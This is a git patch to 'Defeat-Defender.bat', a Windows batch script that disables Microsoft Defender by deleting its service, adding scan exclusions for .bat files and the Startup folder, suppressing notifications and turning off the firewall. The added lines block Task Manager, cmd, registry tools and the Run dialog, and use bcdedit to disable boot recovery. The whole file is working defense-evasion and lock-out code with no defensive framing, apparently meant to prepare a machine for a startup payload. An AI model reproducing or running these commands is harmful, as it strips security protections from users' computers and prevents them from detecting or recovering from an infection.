From 284cd54ca95363e9cc96152deb2c17f10b5a15e3 Mon Sep 17 00:00:00 2001 From: Rdimo <80375661+Rdimo@users.noreply.github.com> Date: Wed, 13 Oct 2021 12:23:09 +0200 Subject: [PATCH] Update Defeat-Defender.bat --- Defeat-Defender.bat | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/Defeat-Defender.bat b/Defeat-Defender.bat index d4c85ba..7477799 100644 --- a/Defeat-Defender.bat +++ b/Defeat-Defender.bat @@ -40,10 +40,21 @@ NSudo -U:T -ShowWindowMode:Hide icacls "%pop%\System32\smartscreen.exe" /inherit NSudo -U:T reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f +NSudo -U:T reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f + +NSudo -U:T reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d "1" /f + +NSudo -U:T reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f + +NSudo -U:T reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f + NSudo -U:T -ShowWindowMode:Hide sc delete windefend powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat"" +bcdedit /set {default} recoveryenabled No + +bcdedit /set {default} bootstatuspolicy ignoreallfailures powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'" @@ -65,4 +76,4 @@ powershell.exe -command "Set-MpPreference -ScanScheduleDay 8" powershell.exe -command "netsh advfirewall set allprofiles state off" cd "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup - +